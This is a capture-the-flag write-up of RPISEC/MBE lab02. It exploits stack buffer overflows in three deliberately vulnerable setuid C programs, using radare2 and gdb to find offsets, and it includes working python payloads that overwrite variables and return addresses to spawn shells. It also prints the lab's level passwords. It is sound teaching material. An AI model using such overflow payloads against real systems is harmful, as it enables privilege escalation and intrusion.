In the last writeup for RPISEC/MBE lab01 we used radare2 to reverse three different binaries in order to reveal a secret password or serial. In this writeup we continue with lab02 which broaches the issue of Memory Corruption.
As well as in the last lab there are three levels ranging from C to A:
–> lab2C
–> lab2B
–> lab2A
lab2C
We start by connecting to the first level of lab02 using the credentials lab2C with the password lab02start:
gameadmin@warzone:~$ sudo ssh lab2C@localhost
lab2C@localhost's password: (lab02start)
____________________.___ _____________________________
\______ \______ \ |/ _____/\_ _____/\_ ___ \
| _/| ___/ |\_____ \ | __)_ / \ \/
| | \| | | |/ \ | \\ \____
|____|_ /|____| |___/_______ //_______ / \______ /
\/ \/ \/ \/
__ __ _____ ____________________________ _______ ___________
/ \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/
\ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_
\ / | \ | \/ /_ / | \/ | \| \
\__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ /
\/ \/ \/ \/ \/ \/ \/
--------------------------------------------------------
Challenges are in /levels
Passwords are in /home/lab*/.pass
You can create files or work directories in /tmp
-----------------[ contact@rpis.ec ]-----------------
Last login: Fri Jan 19 10:51:22 2018 from localhost
In contrast to the last lab, where we were only faced with the binary, in this lab we have access the source code. The source code is also located in the levels directory /levels/lab02/:
lab2C@warzone:~$ cd /levels/lab02 lab2C@warzone:/levels/lab02$ ls -al total 44 drwxr-xr-x 2 root root 4096 Jun 21 2015 . drwxr-xr-x 14 root root 4096 Sep 28 2015 .. -r-sr-x--- 1 lab2end lab2A 7500 Jun 21 2015 lab2A -r-------- 1 lab2A lab2A 1153 Jun 21 2015 lab2A.c -r-sr-x--- 1 lab2A lab2B 7451 Jun 21 2015 lab2B -r-------- 1 lab2B lab2B 474 Jun 21 2015 lab2B.c -r-sr-x--- 1 lab2B lab2C 7428 Jun 21 2015 lab2C -r-------- 1 lab2C lab2C 513 Jun 21 2015 lab2C.c
Let’s have a look:
lab2C@warzone:/levels/lab02$ cat lab2C.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector lab2C.c -o lab2C
*/
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv)
{
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}
The first thing we need to do is to spot the vulnerability within the source code. In this case there is a call to the function strcpy on line 26. As the man page advises this function is prone to buffer overflows:
lab2C@warzone:/levels/lab02$ man strcpy
STRCPY(3) Linux Programmer's Manual STRCPY(3)
NAME
strcpy, strncpy - copy a string
SYNOPSIS
#include <string.h>
char *strcpy(char *dest, const char *src);
char *strncpy(char *dest, const char *src, size_t n);
DESCRIPTION
The strcpy() function copies the string pointed to by src, including the terminating null byte ('\0'), to the buffer pointed to by dest. The strings may not
overlap, and the destination string dest must be large enough to receive the copy. Beware of buffer overruns! (See BUGS.)
...
As stated in the man page the destination string must be large enough to receive the copy. Because the destination string buf is only 15 bytes long and the source string is the first parameter to the program (argv[1]) we can simply input a larger string leading to a buffer overflow.
On line 28 set_me is compared to the value 0xdeadbeef. If the comparison succeeds the function shell is called kindly spawning a shell for us. Thus we need to use the buffer overflow vulnerability to overwrite the variable set_me with the value 0xdeadbeef.
As with all local variables set_me and buf are placed on the stack. In the c source code set_me is declared first. That means that it is pushed on the stack before buf. Because the stack grows from bottom to the top set_me is located at a higher address than buf:
X + 0: [ buf ] <-- declared second X + 15: [ set_me ] <-- declared first
Let’s have a quick view on the assembly to verify this assumption:
... [0x080485b0]> pdf @ sym.main ╒ (fcn) sym.main 119 │ ; arg int arg_0_2 @ ebp+0x2 │ ; arg int arg_3 @ ebp+0xc │ ; DATA XREF from 0x080485c7 (entry0) │ ;-- main: │ ;-- sym.main: │ 0x080486cd 55 push ebp │ 0x080486ce 89e5 mov ebp, esp │ 0x080486d0 83e4f0 and esp, 0xfffffff0 │ 0x080486d3 83ec30 sub esp, 0x30 │ 0x080486d6 837d0802 cmp dword [ebp + 8], 2 ; [0x2:4]=0x101464c │ ┌─< 0x080486da 741c je 0x80486f8 │ │ 0x080486dc 8b450c mov eax, dword [ebp + 0xc] ; [0xc:4]=0 │ │ 0x080486df 8b00 mov eax, dword [eax] │ │ 0x080486e1 89442404 mov dword [esp + 4], eax ; [0x4:4]=0x10101 │ │ 0x080486e5 c70424f48704. mov dword [esp], str.usage:_n_s_string_n ; [0x80487f4:4]=0x67617375 ; "usage:.%s string." @ 0x80487f4 │ │ 0x080486ec e85ffeffff call sym.imp.printf ; sub.printf_12_54c+0x4 │ │ ^- sub.printf_12_54c() ; sym.imp.printf │ │ 0x080486f1 b801000000 mov eax, 1 │ ┌──< 0x080486f6 eb4a jmp 0x8048742 │ │└ ; JMP XREF from 0x080486da (sym.main) │ │└─> 0x080486f8 c744242c0000. mov dword [esp + 0x2c], 0 ; [0x2c:4]=0x280009 ; ',' │ │ 0x08048700 8b450c mov eax, dword [ebp + 0xc] ; [0xc:4]=0 │ │ 0x08048703 83c004 add eax, 4 │ │ 0x08048706 8b00 mov eax, dword [eax] │ │ 0x08048708 89442404 mov dword [esp + 4], eax ; [0x4:4]=0x10101 │ │ 0x0804870c 8d44241d lea eax, [esp + 0x1d] ; 0x1d │ │ 0x08048710 890424 mov dword [esp], eax │ │ 0x08048713 e848feffff call sym.imp.strcpy ...
On line 23 the local variable set_me stored in esp+0x2c is initalized with 0. Before the call to strcpy the address of second local variable buf stored in esp+0x1d is moved on the stack on line 28. Between both location there are exactly the 0x2c - 0x1d = 44 - 29 = 15 bytes of buf. As predicted set_me is located after buf meaning that we can overwrite set_me if we overflow buf.
Thus the only thing we need to do is call the program with the appropriate argument. This arguments must consist of 15 arbitrary bytes plus the 4 bytes we want to write into set_me:
argument = XXXXXXXXXXXXXXXYYYY buf set_me (15 byte) (4 byte)
As we want to set set_me to the value 0xdeadbeef we have to consider that integers are stored in little endian format. In little endian the bytes are stored in reverse order:
integer = 0xdeadbeef memory : ef be ad de
On the commandline we can use python to create to appropriate string:
lab2C@warzone:/levels/lab02$ ./lab2C $(python -c 'print("A"*15+"\xef\xbe\xad\xde")')
You did it.
$ whoami
lab2B
$ cat /home/lab2B/.pass
1m_all_ab0ut_d4t_b33f
Done 🙂 The password for the next level is 1m_all_ab0ut_d4t_b33f.
lab2B
The credentials for the next level are lab2B with the password 1m_all_ab0ut_d4t_b33f:
gameadmin@warzone:~$ sudo ssh lab2B@localhost
lab2B@localhost's password: (1m_all_ab0ut_d4t_b33f)
____________________.___ _____________________________
\______ \______ \ |/ _____/\_ _____/\_ ___ \
| _/| ___/ |\_____ \ | __)_ / \ \/
| | \| | | |/ \ | \\ \____
|____|_ /|____| |___/_______ //_______ / \______ /
\/ \/ \/ \/
__ __ _____ ____________________________ _______ ___________
/ \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/
\ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_
\ / | \ | \/ /_ / | \/ | \| \
\__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ /
\/ \/ \/ \/ \/ \/ \/
--------------------------------------------------------
Challenges are in /levels
Passwords are in /home/lab*/.pass
You can create files or work directories in /tmp
-----------------[ contact@rpis.ec ]-----------------
Last login: Fri Jan 19 16:04:01 2018 from localhost
Again we have access to the source code:
lab2B@warzone:/levels/lab02$ cat lab2B.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector lab2B.c -o lab2B
*/
char* exec_string = "/bin/sh";
void shell(char* cmd)
{
system(cmd);
}
void print_name(char* input)
{
char buf[15];
strcpy(buf, input);
printf("Hello %s\n", buf);
}
int main(int argc, char** argv)
{
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
print_name(argv[1]);
return EXIT_SUCCESS;
}
Like in the previous level there is a call to the function strcpy (line 20). As we have already seen in the last level, we can use this function to raise a buffer overflow, because the argument passed to the program (argv[1]) is passed to the function print_name which is then passed to strcpy as the source string.
There is also a user-defined function called shell (lines 12-15), but it differs from the last one. This shell function does not directly spawn a shell, but rather take one string argument, which is then passed to the function system. If we have a look at the rest of the source code we notice that the function is actually never called. Thus we have to trigger it ourselves.
Above the shell function declaration on line 10 we can see that the author of the source code kindly declared a variable which contains the string we would like to pass the to shell function: "/bin/sh".
Summing it up we have to:
–> push the address of "/bin/sh" on the stack
–> call the user-defined function shell
In order to do this, the first thing we need to know is the address of the string "/bin/sh" as well as the address of the function shell. We can use r2 to do this:
[0x080485c0]> iz~bin vaddr=0x080487d0 paddr=0x000007d0 ordinal=000 sz=8 len=7 section=.rodata type=a string=/bin/sh [0x080485c0]> is~shell vaddr=0x080486bd paddr=0x000006bd ord=070 fwd=NONE sz=19 bind=GLOBAL type=FUNC name=shell
The string "/bin/sh" is at 0x080487d0 and the function shell is at 0x080486bd.
Good for now. But how to we call the function shell? If we have look at the source code again, we can see that strcpy is called within the user-defined function print_name. Let’s have a look at the assembly which calls the function print_name is called:
[0x080485c0]> pdf @ sym.main ... │ │ 0x08048730 890424 mov dword [esp], eax │ │ 0x08048733 e898ffffff call sym.print_name ...
eax contains the address of the string-argument passed to the program (argv[1]). This address is moved on the stack and then the call instructions is used to execute the print_name function. After the function is executed, the processor needs to know where to proceed the execution. Thus the address of the next instruction after the call has to be saved. This is what the call instruction does: it pushes the address of the next instruction on the stack and then jumps to the function’s address. When the function is entered, the stack looks like this:
esp+0x00: [ return address ] <-- return address pushed bycallesp+0x04: [ argument ] <-- argument passed to functionprint_name
At the end of the function…
[0x080485c0]> pdf @ sym.print_name ... ╘ 0x080486fc c3 ret
… there is a ret instruction, which simply pops the top element of the stack (the return address formerly pushed by the call instruction) and then jumps to that address. This way the execution can proceed at the location right after the call.
As we have already seen in the last lab, we can use the buffer overflow vulnerability caused by the call to strcpy in order to overwrite elements on the stack. The buffer we can overflow (buf) is a local variable which is stored on the stack. Because this local variable is pushed on the stack after the return address is pushed, it is located before the return address in memory (at a lower address). That is why we can overwrite the return address.
Now we just need to know where the return address and the buffer are located on the stack in order to calculate how much bytes we need to write. A quite dull but effective way is to input a pattern long enough to overwrite the return address, let the program crash and then see which part of the pattern caused the crash. This can be done using gdb:
lab2B@warzone:/levels/lab02$ gdb lab2B
Reading symbols from lab2B...(no debugging symbols found)...done.
gdb-peda$ r AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
Starting program: /levels/lab02/lab2B AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
Hello AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x2f ('/')
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x0
EDX: 0xb7fce898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x47474746 ('FGGG')
ESP: 0xbffff6c0 ("HIIIIJJJJ")
EIP: 0x48484847 ('GHHH')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x48484847
[------------------------------------stack-------------------------------------]
0000| 0xbffff6c0 ("HIIIIJJJJ")
0004| 0xbffff6c4 ("IJJJJ")
0008| 0xbffff6c8 --> 0x804004a
0012| 0xbffff6cc --> 0xb7fcd000 --> 0x1a9da8
0016| 0xbffff6d0 --> 0x8048740 (<__libc_csu_init>: push ebp)
0020| 0xbffff6d4 --> 0x0
0024| 0xbffff6d8 --> 0x0
0028| 0xbffff6dc --> 0xb7e3ca83 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
On line 2 you can see that I provided the pattern AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ as argument to the program. On line 4 the program properly outputs the greeting-message right before receiving a SIGSEGV signal (Segmentation fault). A segmentation fault is raised when the program tries to access memory which is not accessible. On line 19 we can see that this was caused by the instruction pointer (eip) trying to access the address 0x48484847. As you may have noticed, this is a part of our pattern because 0x48484847 equals GHHH. Now we can calculate the offset:
pattern = AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ 27 byte eip
Thus if we input the following string, we overwrite the return address and the code execution proceeds in the function shell:
python -c 'print("A"*27+"\xbd\x86\x04\x08")
Side note: patterns and the offset within the pattern can be easily create / calculated using the metasploit script pattern_create and pattern_offset.
There is still one thing missing. We need to provide the "/bin/sh" string to the shell function. But where to put it? Right after the address of the shell function? As the ret instruction at the end of the print_name function just pops our modified return address from the stack and directly jumps to that address, no ordinary call instruction is executed. As we have already seen the stack should look like this at the entry of a function:
esp+0x00: [ return address ] <-- return address pushed bycallesp+0x04: [ argument ] <-- argument passed to functionshell
This is not the return address from the print_name call but the return address from the shell function we are returning to. Because there is no call we need to put this return address on the stack ourselves. As we do not really care where the execution proceeds after we got a shell, we can just put junk in here. A more elegant way would be to call exit in order to gracefully shutdown the program.
Summing this all up the string argument we need to pass the program looks like this:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ XXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAXXXXBBBB AAAA = address of functionshellBBBB = address of string"/bin/sh"
Now we can pass the final string to the program:
lab2B@warzone:/levels/lab02$ ./lab2B $(python -c 'print("X"*27 + "\xbd\x86\x04\x08" + "XXXX" + "\xd0\x87\x04\x08")')
Hello XXXXXXXXXXXXXXXXXXXXXXXXXXX...
$ whoami
lab2A
$ cat /home/lab2A/.pass
i_c4ll_wh4t_i_w4nt_n00b
Done 🙂 The password for the next level is i_c4ll_wh4t_i_w4nt_n00b.
lab2A
The credentials for the last level of this lab are lab2A with the password i_c4ll_wh4t_i_w4nt_n00b:
gameadmin@warzone:~$ sudo ssh lab2A@localhost
lab2A@localhost's password: (i_c4ll_wh4t_i_w4nt_n00b)
____________________.___ _____________________________
\______ \______ \ |/ _____/\_ _____/\_ ___ \
| _/| ___/ |\_____ \ | __)_ / \ \/
| | \| | | |/ \ | \\ \____
|____|_ /|____| |___/_______ //_______ / \______ /
\/ \/ \/ \/
__ __ _____ ____________________________ _______ ___________
/ \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/
\ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_
\ / | \ | \/ /_ / | \/ | \| \
\__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ /
\/ \/ \/ \/ \/ \/ \/
--------------------------------------------------------
Challenges are in /levels
Passwords are in /home/lab*/.pass
You can create files or work directories in /tmp
-----------------[ contact@rpis.ec ]-----------------
Last login: Fri Jan 19 16:10:00 2018 from localhost
We start by analyzing the provided source code:
lab2A@warzone:/levels/lab02$ cat lab2A.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector lab2A.c -o lab2A
*/
void shell()
{
printf("You got it\n");
system("/bin/sh");
}
void concatenate_first_chars()
{
struct {
char word_buf[12];
int i;
char* cat_pointer;
char cat_buf[10];
} locals;
locals.cat_pointer = locals.cat_buf;
printf("Input 10 words:\n");
for(locals.i=0; locals.i!=10; locals.i++)
{
// Read from stdin
if(fgets(locals.word_buf, 0x10, stdin) == 0 || locals.word_buf[0] == '\n')
{
printf("Failed to read word\n");
return;
}
// Copy first char from word to next location in concatenated buffer
*locals.cat_pointer = *locals.word_buf;
locals.cat_pointer++;
}
// Even if something goes wrong, there's a null byte here
// preventing buffer overflows
locals.cat_buf[10] = '\0';
printf("Here are the first characters from the 10 words concatenated:\n\
%s\n", locals.cat_buf);
}
int main(int argc, char** argv)
{
if(argc != 1)
{
printf("usage:\n%s\n", argv[0]);
return EXIT_FAILURE;
}
concatenate_first_chars();
printf("Not authenticated\n");
return EXIT_SUCCESS;
}
What does the program do?
–> the main-function simply calls the function concatenate_first_chars (line 55)
–> in concatenate_first_chars a struct named locals is defined (line 18-23)
–> a prompt to input 10 words is displayed (line 26)
–> a for-loop initalizes locals.i with 0 and keeps looping as long as locals.i does not equal 10 (line 27)
–> locals.i is incremented by one every loop-step (line 27)
–> within the loop-body fgets reads a maximum of 0x10 = 16 bytes into locals.word_buf from stdin (line 30)
–> the first read character from locals.word_buf is copied to locals.cat_buf by using the pointer locals.cat_pointer (line 36)
–> locals.cat_pointer is incremented by 1 in order to point to the next character within locals.cat_buf on the next loop-iteration (line 37)
–> after the loop the 11th entry of locals.cat_buf is set to 0 (which is actually a overflow because locals.cat_buf is only 10 bytes long) (line 42)
–> the concatenated string locals.cat_buf is printed (line 43-44)
Like in the first level there is a function named shell, which does not take any arguments and spawns a shell (lines 10-14). Thus our goal is to call this function. As we have already seen in the second level of this lab, this can be achieved by overwriting the return address within a function call if there is a vulnerability we can exploit.
As you may have noticed, on line 30 fgets reads 16 bytes into locals.word_buf. If we have a look at the struct declaration on line 19 we can see that locals.word_buf is only 12 bytes long. Thus we can overflow locals.word_buf by 4 bytes. These 4 bytes would be written into the variable following locals.word_buf, which is locals.i: the loop-index! This way we can control how much iterations the loop does.
Within the loop-body locals.cat_pointer is incremented on each iteration without any further checking. If the loop iterates more than 10 times, the memory following locals.cut_buf is overwritten. As we have seen in the second level of this lab, this memory contains the return address, which has been pushed by the last call instruction (in this case call concatenate_first_chars).
Summing it up we have to:
- determine the input to overwrite
locals.iso that the loop iterates enough times to makelocals.cat_pointerpoint to the return address - get the address of the function we want to call (
shell) - determine the location of the return address on the stack
- construct the final input to the program
1. overwrite loop-index locals.i
Because we want to overwrite the stack by using the locals.cat_pointer which is incremented within the loop-body, we need to manipulate the loop-index in order to make more than 10 iterations. As the loop-index i is located directly after the buffer which we can overflow (word_buf), it suffices to input 12 arbitrary characters. Because the input is read using fgets the newline (0xa) entered to end the input is also put into the destination string. Thus the memory looks like this if we write 12 characters:
[--------------word_buf-----------] [----i----] X X X X X X X X X X X X \n 58 58 58 58 58 58 58 58 58 58 58 58 0a 00 00 00
As the integer value of i is stored in little endian and thus the first byte is the least significant byte the value of i is just 0xa = 10. This value is incremented by one and then compared to 10. This way the loop keeps iterating (i = 11, 12, 13, …). In order to exit the loop we can enter an empty line. If locals.word_buf[0] is equal to '\n' the function returns (line 30).
2. address of function shell
This is quite easy as we already did it in the last levels using radare2:
lab2A@warzone:/levels/lab02$ r2 lab2A -- In Soviet Russia, radare2 have documentation. [0x08048600]> aaa [0x08048600]> is~shell vaddr=0x080486fd paddr=0x000006fd ord=071 fwd=NONE sz=32 bind=GLOBAL type=FUNC name=shell
The function shell is located at 0x080486fd.
3. location of return address
This is a little bit more complicated. We could modify the loop-index, overwrite the stack with a pattern and then see which part of the pattern causes a segmentation fault like we did in the second level. This time we want to calculate the offset statically for learning purpose. All we need is to have a look at the concatenate_first_chars function using r2:
[0x08048600]> pdf @ sym.concatenate_first_chars ╒ (fcn) sym.concatenate_first_chars 153 │ ; var int local_2_2 @ ebp-0xa │ ; var int local_6 @ ebp-0x18 │ ; var int local_7 @ ebp-0x1c │ ; var int local_10 @ ebp-0x28 │ ; CALL XREF from 0x080487e1 (sym.main) │ ;-- sym.concatenate_first_chars: │ 0x0804871d 55 push ebp │ 0x0804871e 89e5 mov ebp, esp │ 0x08048720 83ec38 sub esp, 0x38 │ 0x08048723 8d45d8 lea eax, [ebp-local_10] │ 0x08048726 83c014 add eax, 0x14 │ 0x08048729 8945e8 mov dword [ebp-local_6], eax │ 0x0804872c c70424a38804. mov dword [esp], str.Input_10_words: ; [0x80488a3:4]=0x75706e49 ; "Input 10 words:" @ 0x80488a3 │ 0x08048733 e888feffff call sym.imp.puts ...
How does the stack look like? When the function is called the call instruction stores the return address we want to override on the top of stack:
esp : [ return address ] <-- pushed by call instruction
In the function prologue ebp is pushed on the stack (line 9):
esp : [ saved ebp ] <-- pushed in function prologue
esp+0x04: [ return address ] <-- pushed by call instruction
On line 10 ebp is set to the value of esp since local variables are referenced with ebp:
ebp : [ saved ebp ] <-- pushed in function prologue
ebp+0x04: [ return address ] <-- pushed by call instruction
To calculate the offset to the return address we need to know where the struct is located on the stack. On line 12 we can see that eax is loaded with the address ebp-local_10 (this is ebp-0x28 as you can see at the top of the r2 output on line 6). On line 13 0x14 is added to this address. The result is stored at ebp-local_6 (ebp-0x18). This equals line 24 of the original source code where locals.cat_pointer is set to the address of locals.cat_buf. Thus we have already two offsets of the struct. locals.cat_pointer is located at ebp-0x18 and locals.cat_buf is located at ebp-0x28 + 0x14 = ebp-0x14. Now we can add the other struct-members and outline the stack:
ebp-0x28: [ locals.word_buf ]
ebp-0x1c: [ locals.i ]
ebp-0x18: [ locals.cat_pointer ]
ebp-0x14: [ locals.cat_buf ]
ebp-0x0a: ...
ebp : [ saved ebp ] <-- pushed in function prologue
ebp+0x04: [ return address ] <-- pushed by call instruction
In order to overwrite the return address we have to write 10 + 10 + 4 = 24 bytes to locals.cat_buf. The first 10 bytes fill the array locals.cat_buf. The next 10 bytes fill the space between ebp-0x0a and ebp. The last 4 bytes overwrite the saved ebp. After that the next 4 bytes we write will overwrite the return address.
4. final input
Now we have all information we need to construct the final input to the program in order to get our shell. I wrote a little python script to create the input, which we can later redirect to the program:
# overwrite locals.i
print("X"*12)
# fill locals.cat_buf and gap to ebp+0x04
for i in range(23):
print("X")
# overwrite return address
print("\xfd")
print("\x86")
print("\x04")
print("\x08")
# input empty line to exit loop
print("")
On line 2 locals.i is overwritten with the ending newline (0xa) which makes the loop read more than the originally intended 10 words. Notice that this only puts one byte into locals.cat_buf because only the first char is moved there. The next 23 bytes are filled with an X (lines 5-6). At last the return address is overwritten with the address of the function shell.
Now we can store the python output in a file…
lab2A@warzone:/levels/lab02$ python /tmp/lab2A.py > /tmp/out
… and pipe that input to the program. One thing to notice here is that we cannot just simply do this:
lab2A@warzone:/levels/lab02$ cat /tmp/out| ./lab2A Input 10 words: Failed to read word You got it Segmentation fault lab2A@warzone:/levels/lab02$
A segmentation fault is raised and the program is quit. The message You got it is printed meaning that the function shell has been called successfully and we should have get a shell. Because we only piped the output of cat to the program we cannot interact with the shell. This can be done by simply adding another cat command rebinding the stdin to our input:
lab2A@warzone:/levels/lab02$ python /tmp/hax.py > /tmp/out lab2A@warzone:/levels/lab02$ (cat /tmp/out; cat) | ./lab2A Input 10 words: Failed to read word You got it
Now we can interact with the shell as usual:
whoami lab2end cat /home/lab2end/.pass D1d_y0u_enj0y_y0ur_cats?
Done 🙂 The final password is D1d_y0u_enj0y_y0ur_cats.
